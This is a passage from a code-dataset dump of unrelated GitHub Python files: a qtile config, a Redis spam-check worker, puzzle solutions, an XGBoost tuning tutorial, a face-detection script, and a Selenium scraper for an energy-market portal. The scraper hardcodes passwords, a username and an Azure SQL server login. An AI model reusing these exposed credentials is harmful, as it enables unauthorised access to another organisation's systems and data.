window displayed, like Max layout, but still with\n # multiple stack panes\n Key(\n [mod], \"minus\",\n lazy.layout.toggle_split()\n ),\n\n # Toggle between different layouts as defined below\n Key([mod, \"shift\"], \"Tab\", lazy.next_layout()),\n\n # Session management\n Key([mod, \"control\"], \"r\", lazy.restart()),\n Key([mod, \"control\"], \"q\", lazy.shutdown()),\n\n # Start a terminal\n Key([mod], \"Return\", lazy.spawn(\"gnome-terminal\")),\n\n # Mod-r to start a program\n Key([mod], \"r\", lazy.spawncmd()),\n\n # Mod-w to kill window\n Key([mod], \"w\", lazy.window.kill()),\n\n # Mod-control-k to lock screen\n Key([mod, \"control\"], \"k\", lazy.spawn(\"gnome-screensaver-command -l\")),\n\n]\n\ngroups = [Group(i) for i in \"1234567890\"]\n\nfor i in groups:\n # mod1 + letter of group = switch to group\n keys.append(\n Key([mod], i.name, lazy.group[i.name].toscreen())\n )\n\n # mod1 + control + letter of group = switch to & move focused window to group\n keys.append(\n Key([mod, \"control\"], i.name, lazy.window.togroup(i.name))\n )\n\n\nfrom local_config import screens, extra_keys, num_stacks\n\nlayouts = [\n layout.Stack(border_focus=\"006600\", num_stacks=num_stacks),\n layout.Max(),\n layout.TreeTab(\n font=\"DejaVu Sans Mono\",\n panel_width=300, \n inactive_bg=\"000000\",\n inactive_fg=\"006600\",\n active_bg=\"000000\",\n active_fg=\"66ff66\",\n sections=[\"\"],\n section_fg=\"000000\",\n ),\n]\n\nwidget_defaults = dict(\n font='DejaVu Sans Mono',\n foreground=\"66ff66\",\n fontsize=16,\n padding=3,\n)\n\nkeys += extra_keys\n\n\n# Drag floating layouts.\nmouse = [\n Drag([mod], \"Button1\", lazy.window.set_position_floating(),\n start=lazy.window.get_position()),\n Drag([mod], \"Button3\", lazy.window.set_size_floating(),\n start=lazy.window.get_size()),\n Click([mod], \"Button2\", lazy.window.bring_to_front())\n]\n\ndgroups_key_binder = None\ndgroups_app_rules = []\nmain = None\nfollow_mouse_focus = True\nbring_front_click = False\ncursor_warp = False\nfloating_layout = layout.Floating()\nauto_fullscreen = True\nfocus_on_window_activation = \"smart\"\n\n# XXX: Gasp! We're lying here. In fact, nobody really uses or cares about this\n# string besides java UI toolkits; you can see several discussions on the\n# mailing lists, github issues, and other WM documentation that suggest setting\n# this string if your java app doesn't work correctly. We may as well just lie\n# and say that we're a working one by default.\n#\n# We choose LG3D to maximize irony: it is a 3D non-reparenting WM written in\n# java that happens to be on java's whitelist.\nwmname = \"LG3D\"\n","repo_name":"gpjt/qtile-setup","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":4124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"19081221046","text":"import time\nimport random\nfrom threading import Thread\nfrom messagelistener import EventListener\n\nimport redis\n\nclass QueueMessageWorker(Thread):\n\n def __init__(self, conn, delay):\n Thread.__init__(self)\n self.conn = conn\n self.delay = delay\n\n def run(self):\n while True:\n message = self.conn.brpop(\"queue:\")\n if message:\n message_id = int(message[1])\n\n self.conn.hmset(f'message:{message_id}', {\n 'status': 'checking'\n })\n message = self.conn.hmget(f\"message:{message_id}\", [\"sender_id\", \"consumer_id\"])\n sender_id = int(message[0])\n consumer_id = int(message[1])\n self.conn.hincrby(f\"user:{sender_id}\", \"queue\", -1)\n self.conn.hincrby(f\"user:{sender_id}\", \"checking\", 1)\n time.sleep(self.delay)\n\n message_text = self.conn.hmget(f\"message:{message_id}\", [\"text\"])[0]\n is_spam = \"spam\" in message_text\n pipeline = self.conn.pipeline(True)\n pipeline.hincrby(f\"user:{sender_id}\", \"checking\", -1)\n if is_spam:\n print(f\"{message_id} msg BLOCKED for spam\")\n sender_username = self.conn.hmget(f\"user:{sender_id}\", [\"login\"])[0]\n pipeline.zincrby(\"spam:\", 1, f\"user:{sender_username}\")\n pipeline.hmset(f'message:{message_id}', {\n 'status': 'blocked'\n })\n pipeline.hincrby(f\"user:{sender_id}\", \"blocked\", 1)\n pipeline.publish('spam', f\"User {sender_username} sent spam message: \\\"{message_text}\\\"\")\n else:\n print(f\"{message_id} msg SENT\")\n pipeline.hmset(f'message:{message_id}', {\n 'status': 'sent'\n })\n pipeline.hincrby(f\"user:{sender_id}\", \"sent\", 1)\n pipeline.sadd(f\"sentto:{consumer_id}\", message_id)\n pipeline.execute()\n\n\ndef main():\n handlers_count = 5\n connection = redis.Redis(charset=\"utf-8\", decode_responses=True)\n listener = EventListener(connection)\n listener.setDaemon(True)\n listener.start()\n for x in range(handlers_count):\n connection = redis.Redis(charset=\"utf-8\", decode_responses=True)\n worker = QueueMessageWorker(connection, random.randint(0, 3))\n worker.daemon = True\n worker.start()\n while True:\n pass\n\nif __name__ == '__main__':\n main()","repo_name":"le-kalmique/databases2","sub_path":"lab2/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":2602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"18975436718","text":"from vm import Machine\n\nf = open('input13.txt')\ncode = [int(c) for c in f.read().strip().split(',')]\nf.close()\n\nm = Machine(code)\nanswer = 0\nwhile m.running:\n x = m.run()\n y = m.run()\n tile = m.run()\n print(f\"{(x,y)} = {tile}\")\n if tile == 2:\n answer += 1\n\nprint(answer)","repo_name":"djsheehy/advent-of-code","sub_path":"2019/day13a.py","file_name":"day13a.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"6292721709","text":"# !/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"Script to obtain and update the values corresponding to the REA.\"\"\"\n\nimport os\nimport time\nfrom datetime import datetime, timedelta\n\nimport pyodbc\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.common.keys import Keys\n\n# variables: fecha, hora, pasivoconovcido,, pasivopotencia, rea\n\ndef finish_web_scraping(msg = None, logout_tabs = 0, error = True):\n\tif msg:\n\t\tprint(msg)\n\tif logout_tabs != 0:\n\t\tclose_session(logout_tab = logout_tabs)\n\tdriver.quit()\n\ttime.sleep(2)\n\tif error:\n\t\texit()\n\n\ndef close_session(logout_tab):\n\tif logout_tab == 1:\n\t\terror = True\n\t\tattempts = 5\n\t\twhile error and attempts > 0:\n\t\t\ttry:\n\t\t\t\tdriver.find_element_by_id(\"btnCerrarSesion\").click()\n\t\t\t\tprint(\"Session closed.\")\n\t\t\t\terror = False\n\t\t\texcept Exception:\n\t\t\t\tattempts -= 1\n\t\t\t\tif attempts == 0:\n\t\t\t\t\tprint(\"The session could not be closed.\")\n\telif logout_tab == 2:\n\t\terror = True\n\t\tattempts = 5\n\t\twhile error and attempts > 0:\n\t\t\ttry:\n\t\t\t\tdriver.find_element_by_link_text(\"Cerrar Sesión\").click()\n\t\t\t\tprint(\"Session closed.\")\n\t\t\t\terror = False\n\t\t\texcept Exception:\n\t\t\t\tattempts -= 1\n\t\t\t\tif attempts == 0:\n\t\t\t\t\tprint(\"The session could not be closed.\")\n\n\n#now = datetime.now() - timedelta(.208333)\n#print(now.strftime(\"%Y%m%d\"))\n\n\n# Define path for the driver\ngoogle_driver_path = os.path.abspath(\"drivers/chromedriver2.exe\")\n\n# Define the password and the corresponding file paths for the first authentication\ncertificate_path = os.path.abspath(\"files/certificate.cer\")\nkey_path = os.path.abspath(\"files/private_key.key\")\nfirst_password = \"00Beetmann\"\n\n# Define the username and password for the second authentication\nuser = \"BTMNN\"\nsecond_password = \"BTMNSIN\"\n\n# Define driver options\nchrome_options = Options()\nchrome_options.add_argument(\"--headless\")\nchrome_options.add_argument(\"--ignore-certificate-errors-spki-list\")\nchrome_options.add_argument(\"--ignore-ssl-errors\")\nchrome_options.add_argument(\"--disable-gpu\")\nchrome_options.add_argument(\"--log-level=3\")\ntry:\n\tdriver = webdriver.Chrome(options=chrome_options, executable_path=google_driver_path)\nexcept Exception:\n\tprint(\"This version of ChromeDriver is not supported.\")\n\tprint(\"Try to install the version that matches your Google Chrome browser at: https://sites.google.com/chromium.org/driver/\")\ndriver.implicitly_wait(30)\n\n#---------------------------------------------------------------------------------#\n\nprint(\"\\nEstablishing connection to the website...\")\n\n# Establish connection to the website\nerror = True\ntry_again = \"y\"\nwhile try_again == \"y\" and error:\n\ttry:\n\t\tdriver.get(\"https://memsim.cenace.gob.mx/produccion/participantes/LOGIN/\")\n\t\terror = False\n\texcept:\n\t\tprint(\"The website could not be accessed.\")\n\t\toption = input(\"Try again? (y/n): \")\n\t\tif option != \"y\":\n\t\t\texit()\n\nprint(\"Connection established.\\n\")\n\n# Wait for the page to load\ntime.sleep(5)\n\n#---------------------------------------------------------------------------------#\n\nprint(\"Performing first authentication...\")\n\n# Enter certificate for the first login\nerror = True\nattempts = 5\nwhile error:\n\ttry:\n\t\tcertificate_elem = driver.find_element_by_id(\"uploadCerfile0\")\n\t\tcertificate_elem.clear()\n\t\tcertificate_elem.send_keys(certificate_path)\n\t\terror = False\n\texcept Exception:\n\t\tif attempts == 0:\n\t\t\tfinish_web_scraping(\"Could not upload certificate.\")\n\t\tattempts -= 1\n\n# Enter private key for the first login\nerror = True\nattempts = 5\nwhile error:\n\ttry:\n\t\tkey_elem = driver.find_element_by_id(\"uploadKeyfile0\")\n\t\tkey_elem.clear()\n\t\tkey_elem.send_keys(key_path)\n\t\terror = False\n\texcept Exception:\n\t\tif attempts == 0:\n\t\t\tfinish_web_scraping(\"Could not upload private key.\")\n\t\tattempts -= 1\n\n# Enter password for the first login\nerror = True\nattempts = 5\nwhile error:\n\ttry:\n\t\tpassword_1_elem = driver.find_element_by_id(\"txtPrivateKey\")\n\t\tpassword_1_elem.clear()\n\t\tpassword_1_elem.send_keys(first_password)\n\t\terror = False\n\texcept Exception:\n\t\tif attempts == 0:\n\t\t\tfinish_web_scraping(\"Could not enter first password.\")\n\t\tattempts -= 1\n\n# Click submit button for the first login\nerror = True\nattempts = 5\nwhile error:\n\ttry:\n\t\tdriver.find_element_by_id(\"btnEnviar\").click()\n\t\terror = False\n\texcept Exception:\n\t\tif attempts == 0:\n\t\t\tfinish_web_scraping(\"Could not click submit button.\")\n\t\tattempts -= 1\n\nprint(\"First authentication completed.\\n\")\n\n# Wait for the next page to load\ntime.sleep(10)\n\n#---------------------------------------------------------------------------------#\n\nprint(\"Performing second authentication...\")\n\n# Enter username the second login\nerror = True\nattempts = 5\nwhile error:\n\ttry:\n\t\tuser_elem = driver.find_element_by_id(\"txtUsuario\")\n\t\tuser_elem.clear()\n\t\tuser_elem.send_keys(user)\n\t\terror = False\n\texcept Exception:\n\t\tif attempts == 0:\n\t\t\tfinish_web_scraping(\"Could not enter username.\")\n\t\tattempts -= 1\n\n# Enter password for the second login\nerror = True\nattempts = 5\nwhile error:\n\ttry:\n\t\tpassword_2_elem = driver.find_element_by_id(\"txtPassword\")\n\t\tpassword_2_elem.clear()\n\t\tpassword_2_elem.send_keys(second_password)\n\t\terror = False\n\texcept Exception:\n\t\tif attempts == 0:\n\t\t\tfinish_web_scraping(\"Could not enter second password.\")\n\t\tattempts -= 1\n\n# Click submit button for the second login\nerror = True\nattempts = 5\nwhile error:\n\ttry:\n\t\tdriver.find_element_by_id(\"Button1\").click()\n\t\terror = False\n\texcept Exception:\n\t\tif attempts == 0:\n\t\t\tfinish_web_scraping(\"Could not click submit button.\")\n\t\tattempts -= 1\n\nprint(\"Second authentication completed.\\n\")\n\n# Wait for the next page to load\ntime.sleep(5)\n\n#---------------------------------------------------------------------------------#\n\nprint(\"Accessing the REA values page...\")\n\n# Click on the text \"Liquidación, Facturación y Pago\"\nerror = True\nattempts = 5\nwhile error:\n\ttry:\n\t\tdriver.find_element_by_link_text(\"Liquidación, Facturación y Pago\").click()\n\t\terror = False\n\texcept Exception:\n\t\tif attempts == 0:\n\t\t\tfinish_web_scraping(\"Could not click text \\\"Liquidación, Facturación y Pago\\\".\", logout_tabs = 1)\n\t\tattempts -= 1\n\n# Click on the text \"Garantías\"\nerror = True\nattempts = 5\nwhile error:\n\ttry:\n\t\tdriver.find_element_by_link_text(\"Garantías\").click()\n\t\terror = False\n\texcept Exception:\n\t\tif attempts == 0:\n\t\t\tfinish_web_scraping(\"Could not click text \\\"Garantías\\\".\", logout_tabs = 1)\n\t\tattempts -= 1\n\n# Click on the text \"REA y Monto Garantizado de Pago\"\nerror = True\nattempts = 5\nwhile error:\n\ttry:\n\t\tdriver.find_element_by_link_text(\"REA y Monto Garantizado de Pago\").click()\n\t\terror = False\n\texcept Exception:\n\t\tif attempts == 0:\n\t\t\tfinish_web_scraping(\"Could not click text \\\"REA y Monto Garantizado de Pago\\\".\", logout_tabs = 1)\n\t\tattempts -= 1\n\nprint(\"REA values page accessed.\\n\")\n\n# Switch to the new tab and wait for it to load\ndriver.switch_to.window(driver.window_handles[1])\ntime.sleep(5)\n#---------------------------------------------------------------------------------#\n\nprint(\"Obtaining REA values...\")\n\ntable = driver.find_element_by_id(\"tablaResultado_wrapper\").find_element_by_tag_name(\"table\")\nvalues = table.find_element_by_tag_name(\"tbody\").find_element_by_tag_name(\"tr\").find_elements_by_tag_name(\"td\")\ntable_2 = driver.find_element_by_id(\"tablaResultado2_wrapper\").find_element_by_tag_name(\"table\")\nvalues_2 = table_2.find_element_by_tag_name(\"tbody\").find_element_by_tag_name(\"tr\").find_elements_by_tag_name(\"td\")\ntable_3 = driver.find_element_by_id(\"tablaResultado3_wrapper\").find_element_by_tag_name(\"table\")\nvalues_3 = table_3.find_element_by_tag_name(\"tbody\").find_element_by_tag_name(\"tr\").find_elements_by_tag_name(\"td\")\n\n# Get Factor Volatilidad value\nprint(\"FV\")\n\nerror = True\nattempts = 5\nwhile error:\n\ttry:\n\t\tFV_value = driver.find_element_by_id(\"panelresultados\").find_elements_by_tag_name(\"div\")[3].find_element_by_tag_name(\"p\").get_attribute(\"innerHTML\")\n\t\tFV_value = FV_value.replace(\"Factor Volatilidad:\", \"\").strip()\n\t\terror = False\n\texcept Exception:\n\t\tif attempts == 0:\n\t\t\tfinish_web_scraping(\"Could not get Factor Volatilidad value.\", logout_tabs = 2)\n\t\tattempts -= 1\n\n# Get OOPM value\nerror = True\nattempts = 5\nwhile error:\n\ttry:\n\t\tOOPM_value = str(values_2[2].get_attribute(\"innerHTML\"))\n\t\tOOPM_value = OOPM_value.replace(\",\", \"\").replace(\"$\", \"\").strip()\n\t\terror = False\n\texcept Exception:\n\t\tif attempts == 0:\n\t\t\tfinish_web_scraping(\"Could not get OOPM value.\", logout_tabs = 2)\n\t\tattempts -= 1\n\n# Get OPC value\nerror = True\nattempts = 5\nwhile error:\n\ttry:\n\t\tOPC_value = str(values_2[3].get_attribute(\"innerHTML\"))\n\t\tOPC_value = OPC_value.replace(\",\", \"\").replace(\"$\", \"\").strip()\n\t\terror = False\n\texcept Exception:\n\t\tif attempts == 0:\n\t\t\tfinish_web_scraping(\"Could not get OPC value.\", logout_tabs = 2)\n\t\tattempts -= 1\n\n# Get CPMCP value\nerror = True\nattempts = 5\nwhile error:\n\ttry:\n\t\tCPMCP_value = str(values_3[2].get_attribute(\"innerHTML\"))\n\t\tCPMCP_value = CPMCP_value.replace(\",\", \"\").replace(\"$\", \"\").strip()\n\t\terror = False\n\texcept Exception:\n\t\tif attempts == 0:\n\t\t\tfinish_web_scraping(\"Could not get CPMCP value.\", logout_tabs = 2)\n\t\tattempts -= 1\n\n# Get CPMTDO value\nerror = True\nattempts = 5\nwhile error:\n\ttry:\n\t\tCPMTDO_value = str(values_3[3].get_attribute(\"innerHTML\"))\n\t\tCPMTDO_value = CPMTDO_value.replace(\",\", \"\").replace(\"$\", \"\").strip()\n\t\terror = False\n\texcept Exception:\n\t\tif attempts == 0:\n\t\t\tfinish_web_scraping(\"Could not get CPMTDO value.\", logout_tabs = 2)\n\t\tattempts -= 1\n\n# Get TMP value\nerror = True\nattempts = 5\nwhile error:\n\ttry:\n\t\tTMP_value = str(values_3[9].get_attribute(\"innerHTML\"))\n\t\tTMP_value = TMP_value.replace(\",\", \"\").replace(\"$\", \"\").strip()\n\t\terror = False\n\texcept Exception:\n\t\tif attempts == 0:\n\t\t\tfinish_web_scraping(\"Could not get TMP value.\", logout_tabs = 2)\n\t\tattempts -= 1\n\n# Get REA value\nerror = True\nattempts = 5\nwhile error:\n\ttry:\n\t\trea_value = str(values[4].get_attribute(\"innerHTML\"))\n\t\trea_value = rea_value.strip().replace(\",\", \"\").replace(\"$\", \"\")\n\t\terror = False\n\texcept Exception:\n\t\tif attempts == 0:\n\t\t\tfinish_web_scraping(\"Could not get REA value.\", logout_tabs = 2)\n\t\tattempts -= 1\n\n# Get Pasivo Potencial value\nerror = True\nattempts = 5\nwhile error:\n\ttry:\n\t\tpasivo_potencial_value = str(values[3].get_attribute(\"innerHTML\"))\n\t\tpasivo_potencial_value = pasivo_potencial_value.strip().replace(\",\", \"\").replace(\"$\", \"\")\n\t\terror = False\n\texcept Exception:\n\t\tif attempts == 0:\n\t\t\tfinish_web_scraping(\"Could not get Pasivo Potencial value.\", logout_tabs = 2)\n\t\tattempts -= 1\n\n# Get Pasivo Potencial value\nerror = True\nattempts = 5\nwhile error:\n\ttry:\n\t\tpasivo_conocido_value = str(values[2].get_attribute(\"innerHTML\"))\n\t\tpasivo_conocido_value = pasivo_conocido_value.strip().replace(\",\", \"\").replace(\"$\", \"\")\n\t\terror = False\n\texcept Exception:\n\t\tif attempts == 0:\n\t\t\tfinish_web_scraping(\"Could not get Pasivo Potencial value.\", logout_tabs = 2)\n\t\tattempts -= 1\n\n\"\"\"\n# Get REA value\nerror = True\nattempts = 5\nwhile error:\n\ttry:\n\t\trea_value = str(driver.find_element_by_id(\"rea\").get_attribute(\"innerHTML\"))\n\t\trea_value = rea_value.replace(\",\", \"\").replace(\"$\", \"\")\n\t\terror = False\n\texcept Exception:\n\t\tif attempts == 0:\n\t\t\tfinish_web_scraping(\"Could not get REA value.\", logout_tabs = 2)\n\t\tattempts -= 1\n\n# Get Pasivo Potencial value\nerror = True\nattempts = 5\nwhile error:\n\ttry:\n\t\tpasivo_potencial_value = str(driver.find_element_by_id(\"pasivoPotencial\").get_attribute(\"innerHTML\"))\n\t\tpasivo_potencial_value = pasivo_potencial_value.replace(\",\", \"\").replace(\"$\", \"\")\n\t\terror = False\n\texcept Exception:\n\t\tif attempts == 0:\n\t\t\tfinish_web_scraping(\"Could not get Pasivo Potencial value.\", logout_tabs = 2)\n\t\tattempts -= 1\n\n# Get Pasivo Potencial value\nerror = True\nattempts = 5\nwhile error:\n\ttry:\n\t\tpasivo_conocido_value = str(driver.find_element_by_id(\"pasivoConocido\").get_attribute(\"innerHTML\"))\n\t\tpasivo_conocido_value = pasivo_conocido_value.replace(\",\", \"\").replace(\"$\", \"\")\n\t\terror = False\n\texcept Exception:\n\t\tif attempts == 0:\n\t\t\tfinish_web_scraping(\"Could not get Pasivo Potencial value.\", logout_tabs = 2)\n\t\tattempts -= 1\n\"\"\"\n\nprint(\"REA values obtained.\\n\")\n\n#---------------------------------------------------------------------------------#\n\n\"\"\"\nEspacio para el código correspondiente para actualizar la base de datos\n\"\"\"\n\nprint(\"REA:\", rea_value)\nprint(\"Pasivo potencial:\", pasivo_potencial_value)\nprint(\"Pasivo conocido:\", pasivo_conocido_value)\nprint(\"Factor volatilidad:\", FV_value)\nprint(\"OOPM:\", OOPM_value)\nprint(\"OPC:\", OPC_value)\nprint(\"CPMCP:\", CPMCP_value)\nprint(\"CPMTDO:\", CPMTDO_value)\nprint(\"TMP:\", TMP_value)\n\nfinish_web_scraping(logout_tabs = 2, error = False)\n\nupdate = input(\"\\nUpdate? (y/n): \")\n\nif update.lower() == \"y\":\n\n\tnow = datetime.now()\n\n\tdireccion_servidor = \"tcp:beetmann-energy.database.windows.net\"\n\tnombre_bd = \"mercados\"\n\tnombre_usuario = \"adm\"\n\tpassword = \"MercadosBD20\"\n\n\tcnxn = pyodbc.connect(\"DRIVER={SQL Server};SERVER=\"+direccion_servidor+\";DATABASE=\"+nombre_bd+\";UID=\"+nombre_usuario+\";PWD=\"+password) # Crear conexión con SQL Server\n\tcursor = cnxn.cursor()\n\n\tcursor.execute(\"\"\"\n\tINSERT INTO [dbo].[REA_CENACE] \n\t([Fecha],[Pasivo conocido],[Pasivo potencial],[REA])\n\tvalues(?,?,?,?)\"\"\", now, pasivo_conocido_value, pasivo_potencial_value, rea_value)\n\tcnxn.commit()\n\n\tprint(\"Process completed successfully.\")\n\n__author__ = \"Hedguhar Domínguez González\"\n__email__ = \"hedguhar.dominguez@beetmann.com\"\n\n\n\"\"\"\nfactor de volatilidad\n*oopm y opc\ncpmcp\ncpmtdo\ntmp\n\"\"\"","repo_name":"ErickOlivaresBeetmann/rea-update","sub_path":"in_process/main_3.py","file_name":"main_3.py","file_ext":"py","file_size_in_byte":13355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"72941753522","text":"from heapq import heappop,heappush\n\ndef solution(n, road, k):\n \"\"\"다익스트라\"\"\"\n INF = 10**8\n distance = [INF]*(n+1)\n graph = [[] for i in range(n+1)]\n for a,b,c in road:\n graph[a].append((b,c))\n graph[b].append((a,c))\n hq = [(0,1)]\n distance[1] = 0\n while hq:\n dist, now = heappop(hq)\n if dist> distance[now]:\n continue\n for i in graph[now]:\n cost = dist + i[1]\n if cost < distance[i[0]]:\n distance[i[0]] = cost\n heappush(hq,(cost,i[0]))\n return sum([d<=k for d in distance])","repo_name":"Lim-JH-Laskaris/BOJAutoPush","sub_path":"프로그래머스/lv2/12978. 배달/배달.py","file_name":"배달.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"10327487602","text":"#-*- coding:utf-8 _*-\n\n\"\"\"\n@version: \n@author: CharlesXu\n@license: Q_S_Y_Q \n@file: Xgboost调优示例.py\n@time: 2018/2/24 17:09\n@desc:\n\"\"\"\n'''\n Xgboost 调参详解\n 参考博客: http://blog.csdn.net/han_xiaoyang/article/details/52665396\n \n GridSearchCV 博客:\n http://blog.csdn.net/cherdw/article/details/54970366\n'''\nimport pandas as pd\nimport numpy as np\nimport xgboost as xgb\nimport matplotlib.pylab as plt\n\nfrom matplotlib.pylab import rcParams\nfrom xgboost import XGBClassifier\nfrom sklearn import svm, grid_search, datasets\nfrom sklearn import cross_validation, metrics\nfrom sklearn.model_selection import GridSearchCV # 网格搜索\n\n# %matplotlib inline\nrcParams['figure.figsize'] = 12, 4\n\ntrain = pd.read_csv('E:\\py_workspace\\TIANCHI_Project\\Loan_risk_prediction\\data\\\\train_modified.csv')\ntarget = 'Disbursed'\nIDcol = 'ID'\n\n# 先定义一个函数,帮助我们建立XGBoost models 并进行交叉验证\ndef modelfit(alg, dtrain, predictors, useTrainCV=True, cv_folds=0.5, early_stopping_rounds=50):\n if useTrainCV:\n xgb_param = alg.get_xgb_params()\n xgtrain = xgb.DMatrix(dtrain[predictors].values, label=dtrain[target].values)\n cvresult = xgb.cv(xgb_param, xgtrain, num_boost_round=alg.get_params()['n_estimators'],\n nfold=cv_folds, metrics='auc', early_stopping_rounds=early_stopping_rounds,\n show_progress=False)\n alg.set_params(n_estimators=cvresult.shape[0])\n # Fit the algorithm on the data\n alg.fit(dtrain[predictors], dtrain['Disbursed'], eval_metric='auc')\n\n # Predict training set\n dtrain_predictions = alg.predict(dtrain[predictors])\n dtrain_predprob = alg.predict_prob(dtrain[predictors])[:, 1]\n\n print('\\n Model Report')\n print('Accuracy: %.4g' % metrics.accuracy_score(dtrain['Disbursed'].values, dtrain_predictions))\n print('AUC Score (Train): %f' % metrics.roc_auc_score(dtrain['Disbursed'], dtrain_predprob))\n\n feat_imp = pd.Series(alg.booster().get_fcore()).sort_values(ascending=False)\n feat_imp.plot(kind='bar', title='Feature Importance')\n plt.ylabel('Feature Importance')\n\n\n#\n# 第一步: 确定学习速率和tree_based参数 调优的估计器的数目\n#\npredictors = [x for x in train.columns if x not in [target, IDcol]]\nxgb1 = XGBClassifier(\n learning_rate= 0.1,\n n_estimators= 1000,\n max_depth= 5, # 树的最大深度。这个值也是用来避免过拟合的。max_depth越大。模型会学到更具体更局部的样本。\n # 需要使用cv函数来进行调优。\n # 典型值 3-10\n min_child_weight= 1, # 决定最小叶子节点样本权重和。这个参数用于避免过拟合,当他的值较大时,可以避免\n # 模型学习到局部的特殊样本\n # 但是如果这个值过高,会导致欠拟合。这个参数需要使用cv来调整\n # 默认是 1\n gamma= 0, # 在节点分裂时,只有分裂后损失函数的值下降,才会分裂这个节点。\n # gamma指定了节点分裂所需的最小损失函数下降值\n # 这个参数的值越大,算法越保守。这个参数的值和损失函数息息相关。\n subsample= 0.8, # 这个参数控制对于每棵树随机采样的比例\n # 减少这个参数的值,算法会更加保守,避免过拟合。\n # 但是,如果这个值设置的越小,他可能会导致欠拟合。\n # 典型值 0.5-1\n colsample_bytree= 0.8, # 用来控制树的每一级的每一次分裂,对列数的采样的占比\n # subsample和colsample_bytree可以起到相同的作用。\n objective= 'binary:logistic', # 学习目标参数 二分类的逻辑回归,返回预测的概率 (不是类别)\n # ‘multi:softmax’ 使用softmax的多分类器,返回预测的类别 (不是概率)\n # 这种情况下需要多加一个参数 : num_class (类别数目)\n nthread= 4,\n scale_pos_weight= 1, # 默认为1\n # 在各类样本十分不平衡时,把这个参数设置为一个正值,可以使算法更快收敛\n seed= 27 # 随机数种子\n # 设置他可以复现随机数据的结果,也可以用于调整参数\n)\n\n\n# 第二部:max_depth 和 min_weight 参数调优\n# grid_search 参考:\n# http://scikit-learn.org/stable/modules/generated/sklearn.grid_search.GridSearchCV.html\n# http://blog.csdn.net/abcjennifer/article/details/23884761\n\n# 网格搜索scoring=’roc_auc’只支持二分类,多分类需要修改scoring(默认支持多分类)\nparam_test1 = {\n 'max_depth':range(3, 10, 2),\n 'min_child_weight': range(1, 6, 2)\n}\n\nparam_test2 = {\n 'max_depth':[4,5,6],\n 'min_child_weoght':[4,5,6]\n}\n# Deprecated since version 0.18: This module will be removed in 0.20.\n# Use sklearn.model_selection.GridSearchCV instead.\n# GridSearchCV 他存在的意义就是自动调参,只要把参数传进去,就能给出最优化的结果和参数,但是这个方法只适合小数据集。\n# 一旦数据量上去了,很难得出结果。\n# 数据量大的时候可以使用一个快速调优的方法-坐标下降,它其实是一种贪心算法,拿当前对模型影响最大的参数调优,直到最优化\n# 再拿下一个影响最大的参数调优,如此下去,直到所有的参数调整完毕。\n# 这个方法的缺点就是可能会调到局部最优而不是全局最优,但是省时省力\n# 后续可用bagging优化\ngsearch1 = GridSearchCV(\n estimator= XGBClassifier( # 确定所使用的分类器,每一个分类器都需要一个score参数,或者score方法\n learning_rate=0.1,\n n_estimators=140,\n max_depth=5,\n min_child_weight=1,\n gamma=0,\n subsample=0.8,\n colsample_bytree=0.8,\n objective= 'binary:logistic',\n nthread=4,\n scale_pos_weight=1,\n seed=27\n ),\n param_grid=param_test1, # 值为字典或者列表,即需要优化的参数的值\n scoring='roc_auc', # 准确度评价标准,默认为None,这时需要使用score函数\n n_jobs=4, # 并行数, int: 个数 -1 跟cpu核数一致, 1 默认值\n iid=False, # 默认为True,为True时,默认为各个样本fold概率分布一致,误差估计为所有样本之和,而非各个fold的平均\n cv=5, # 交���验证参数,默认为None\n verbose= 2, # 日志冗长度,int, 0:不输出训练过程, 1: 偶尔输出, >1:对每个子模型都输出\n refit=True # 默认为True,程序将会以交叉验证训练集得到的最佳参数,重新对所有可用的训练集与开发集进行,\n # 作为最终用于性能评估的最佳模型参数。即在搜索参数结束后,用最佳参数结果再次fit一遍全部数据集。\n)\ngsearch1.fit(train[predictors],train[target]) # 运行网格搜索\n#gsearch1.grid_scores_, # 给出不同参数情况下的评价结果\ngsearch1.best_params_, # 描述了已取得最佳结果的参数的组合\ngsearch1.best_score_ # 成员提供优化过程期间观察到的最好的结果的评分\n\n# 第三步: gamma参数调优\nparam_test3 = {\n 'gamma':[i/10.0 for i in range(0, 5)]\n}\ngsearch3 = GridSearchCV(estimator=XGBClassifier(\n learning_rate=0.1,\n n_estimators=140,\n max_depth=4,\n min_child_weight=6,\n gamma=0,\n subsample=0.8,\n colsample_bytree=0.8,\n objective='binary:logistic',\n nthread=4,\n scale_pos_weight=1,\n seed=27),\n param_grid=param_test3,\n scoring='roc_auc',\n n_jobs=4,\n iid=False,\n cv=5\n)\n\n\n\n\n\nif __name__ == '__main__':\n pass","repo_name":"charlesXu86/TIANCHI_Project","sub_path":"Loan_risk_prediction/code/Xgboost调优示例.py","file_name":"Xgboost调优示例.py","file_ext":"py","file_size_in_byte":8080,"program_lang":"python","lang":"zh","doc_type":"code","stars":39,"dataset":"github-code","pt":"75"} +{"seq_id":"27402951174","text":"import cv2 as cv\nimport numpy as np\nimport sys\n\ndef recognize(img, out_path):\n\n default_faces = default.detectMultiScale(img, 1.3, 5)\n cascade_7_faces = cascade_7.detectMultiScale(img, 1.3, 5)\n cascade_17_faces = cascade_17.detectMultiScale(img, 1.3, 5)\n\n for (x,y,w,h) in default_faces:\n cv.rectangle(img, (x,y), (x+w, y+h), (0,0,255),2)\n\n for (x,y,w,h) in cascade_7_faces:\n cv.rectangle(img, (x,y), (x+w, y+h), (255,0,0),2)\n\n for (x,y,w,h) in cascade_17_faces:\n cv.rectangle(img, (x,y), (x+w, y+h), (0,255,0),2)\n\n cv.imwrite(\"results/\" + out_path, img)\n\ndefault = cv.CascadeClassifier('/home/skach/dev/facedet/haarcascade_frontalface_default.xml')\ncascade_7 = cv.CascadeClassifier('/home/skach/dev/facedet/cascade.xml')\ncascade_17 = 